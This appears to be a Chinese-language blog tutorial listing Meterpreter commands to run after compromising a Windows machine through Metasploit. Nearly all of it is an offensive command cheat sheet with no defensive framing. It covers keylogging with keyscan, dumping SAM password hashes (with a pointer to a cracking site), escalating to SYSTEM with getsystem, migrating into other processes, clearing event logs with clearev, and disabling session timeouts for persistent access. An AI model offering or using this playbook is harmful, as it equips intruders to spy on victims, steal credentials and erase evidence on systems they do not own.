前提

当你用metasploit成功的入侵一台Windows主机后，你会获得一个Meterpreter 的Shell，今天我就会给大家讲一讲Meterpreter 获取shell以后的运用

当你看到了

[\*] Meterpreter session 1 opened (192.168.195.140:4444 -> 192.168.195.139:1051)

这就代表这你在目标系统上成功的获得了Meterpreter的Shell

sessions -l 用于查看你控制的电脑

你会看到：

Id Description Tunnel

4 meterpreter x86/win32 server-PC\Administrator @ SERVER-PC 192.168.195.140:4444 -> 192.168.195.1:52540 (192.168.195.1)

注意前面的ID号

你要控制哪台就输入：

meterpreter >sessions -i 4

meterpreter >sysinfo显示目标系统信息

meterpreter > backround退出目标系统，回到Metasploit主界面

meterpreter > ps显示目标系统上的进程

meterpreter > keyscan\_start

keyscan\_dump // 查看键盘记录

监控目标系统键盘输入，停止监控为keyscan\_stop

meterpreter > migrate将你的Meterpreter移到另一个进程

先用PS命令查看进程后，得到进程ID，然后在执行Migrate （进程ID）

meterpreter > ipconfig显示对方网络信息

meterpreter > getuid获取用户的服务器运行

meterpreter > shell进入目标电脑，命令提示符

meterpreter > Idletime目标电脑闲置了多长时间

meterpreter > Hashdump导出对方SAM数据库里的内容,推荐一个hash破解网站：

http://www.objectif-securite.ch/products.php

meterpreter > getsystem利用已自漏洞，自动提权为SYSTEM

meterpreter > clearev清除事件日志

meterpreter > execute （某Windows指令）在对方电脑上运行该指令

msf exploit(multi/handler) > set ExitOnSession false保持继续监听

# 默认情况下，如果一个会话将在5分钟（300秒）没有任何活动，那么它会被杀死,为防止此情况可将此项修改为0

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0防止session超时自动退出

# 默认情况下，一个星期（604800秒）后，会话将被强制关闭,修改为0可永久不会被关闭

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0